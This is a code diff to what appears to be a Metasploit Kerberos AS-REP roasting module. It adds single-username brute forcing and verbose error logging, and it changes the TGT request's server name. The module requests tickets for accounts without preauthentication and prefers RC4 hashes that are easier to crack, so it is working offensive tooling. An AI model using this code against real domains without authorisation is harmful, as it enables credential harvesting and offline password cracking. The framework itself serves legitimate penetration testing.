@@ -46,7 +46,7 @@ def initialize(info = {})
46
46
Opt ::RHOSTS ( nil , true , 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html' ) ,
47
47
OptPath . new ( 'USER_FILE' , [ false , 'File containing usernames, one per line' ] , conditions : %w[ ACTION == BRUTE_FORCE ] ) ,
48
48
OptBool . new ( 'USE_RC4_HMAC' , [ true , 'Request using RC4 hash instead of default encryption types (faster to crack)' , true ] ) ,
49
- OptString . new ( 'Rhostname' , [ true , "The domain controller's hostname" ] , aliases : [ 'LDAP::Rhostname' ] ) ,
49
+ OptString . new ( 'Rhostname' , [ false , "The domain controller's hostname" ] , aliases : [ 'LDAP::Rhostname' ] ) ,
50
50
]
51
51
)
52
52
register_option_group ( name : 'SESSION' ,
@@ -77,26 +77,36 @@ def run
77
77
def run_brute
78
78
result_count = 0
79
79
user_file = datastore [ 'USER_FILE' ]
80
- if user_file . nil?
81
- fail_with ( Msf ::Module ::Failure ::BadConfig , 'User file must be specified when brute forcing' )
80
+ username = datastore [ 'USERNAME' ]
81
+ if user_file . blank? && username . blank?
82
+ fail_with ( Msf ::Module ::Failure ::BadConfig , 'User file or username must be specified when brute forcing' )
83
+ end
84
+ if username . present?
85
+ begin
86
+ roast ( datastore [ 'USERNAME' ] )
87
+ result_count += 1
88
+ rescue ::Rex ::Proto ::Kerberos ::Model ::Error ::KerberosError => e
89
+ # User either not present, or requires preauth
90
+ vprint_status ( "User: #{ username } - #{ e } " )
91
+ end
82
92
end
83
93
if user_file . present?
84
94
File . open ( user_file , 'rb' ) do |file |
85
95
file . each_line ( chomp : true ) do |user_from_file |
86
96
roast ( user_from_file )
87
97
result_count += 1
88
- rescue ::Rex ::Proto ::Kerberos ::Model ::Error ::KerberosError
98
+ rescue ::Rex ::Proto ::Kerberos ::Model ::Error ::KerberosError => e
89
99
# User either not present, or requires preauth
100
+ vprint_status ( "User: #{ user_from_file } - #{ e } " )
90
101
end
91
102
end
92
- if result_count == 0
93
- print_error ( 'No users found without preauth required' )
94
- else
95
- print_line
96
- print_status ( "Query returned #{ result_count } #{ 'result' . pluralize ( result_count ) } ." )
97
- end
103
+ end
104
+
105
+ if result_count == 0
106
+ print_error ( 'No users found without preauth required' )
98
107
else
99
- fail_with ( Msf ::Module ::Failure ::BadConfig , 'User file not found' )
108
+ print_line
109
+ print_status ( "Query returned #{ result_count } #{ 'result' . pluralize ( result_count ) } ." )
100
110
end
101
111
end
102
112
@@ -138,7 +148,7 @@ def run_ldap
138
148
139
149
def roast ( username )
140
150
res = send_request_tgt (
141
- server_name : datastore [ 'Rhostname' ] ,
151
+ server_name : "krbtgt/ #{ datastore [ 'domain' ] } " ,
142
152
client_name : username ,
143
153
realm : datastore [ 'DOMAIN' ] ,
144
154
offered_etypes : etypes ,
0 commit comments